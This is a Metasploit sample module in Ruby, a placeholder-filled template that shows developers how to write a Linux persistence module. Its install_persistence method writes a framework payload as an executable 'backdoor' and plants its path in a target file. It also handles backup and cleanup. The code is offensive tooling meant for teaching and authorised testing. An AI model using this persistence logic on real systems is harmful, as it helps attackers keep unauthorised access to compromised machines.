## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ### # # This exploit sample shows how a persistence module could be written # for a linux computer. # ### class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html # includes: is_root? include Msf::Post::Linux::Priv # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File # includes generate_payload_exe include Msf::Exploit::EXE # includes register_files_for_cleanup include Msf::Exploit::FileDropper # defines install_persistence and does our cleanup # WritableDir include Msf::Exploit::Local::Persistence # runs check automatically prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, # The Name should be just like the line of a Git commit - software name, # vuln type, class. Preferably apply # some search optimization so people can actually find the module. # We encourage consistency between module name and file name. 'Name' => 'Sample Linux Persistence', 'Description' => %q{ This exploit sample shows how a persistence module could be written for a linux computer. }, 'License' => MSF_LICENSE, # The place to add your name/handle and email. Twitter and other contact info isn't handled here. # Add reference to additional authors, like those creating original proof of concepts or # reference materials. # It is also common to comment in who did what (PoC vs metasploit module, etc) 'Author' => [ 'h00die ', # msf module 'researcher' # original PoC, analysis ], 'Platform' => [ 'linux' ], # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit # may only apply to say ARCH_PPC or something else, where a specific arch is required. # A full list is available in lib/msf/core/payload/uuid.rb 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], # What types of sessions we can use this module in conjunction with. Most modules use libraries # which work on shell and meterpreter, but there may be a nuance between one of them, so best to # test both to ensure compatibility. 'SessionTypes' => [ 'meterpreter' ], # @clean_up_rc only works in meterpreter sessions 'Targets' => [[ 'Auto', {} ]], # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access # since privilege escalation modules typically result in elevated privileges, this is # generally set to true 'Privileged' => true, # Often these have https://attack.mitre.org/techniques/ related to them 'References' => [ [ 'OSVDB', '12345' ], [ 'EDB', '12345' ], [ 'URL', 'http://www.example.com'], [ 'CVE', '1978-1234'], ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], # https://github.com/rapid7/metasploit-framework/pull/20289 ], 'DisclosureDate' => '2023-11-29', # Note that DefaultTarget refers to the index of an item in Targets, rather than name. # It's generally easiest just to put the default at the beginning of the list and skip this # entirely. 'DefaultTarget' => 0, # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] } ) ) # force exploit is used to bypass the check command results register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check # Check a example app is installed print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('example app is required') unless command_exists?('example') CheckCode::Detected('example app is installed') end # # The install_persistence method installs the persistence, starts the handler, and does all # the main activities # def install_persistence file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") # if an arch_cmd payload is selected, write and chmod the file # if an exe payload is selected, write it as an executable file if payload.arch.first == 'cmd' write_file(backdoor, payload.encoded) chmod(backdoor, 0o755) else upload_and_chmodx backdoor, generate_payload_exe end # add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string @clean_up_rc = "rm #{backdoor}\n" # back up an example file that we're going to write into so we can restore it # in our cleanup efforts example_file = read_file('/tmp/example_file') backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup') print_status("Created /tmp/example_file backup: #{backup_file}") # @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user. @clean_up_rc << "upload #{backup_file} /tmp/example_file\n" write_file('/tmp/example_file', backdoor) # the cleanup script will automatically be printed when the module is finished end end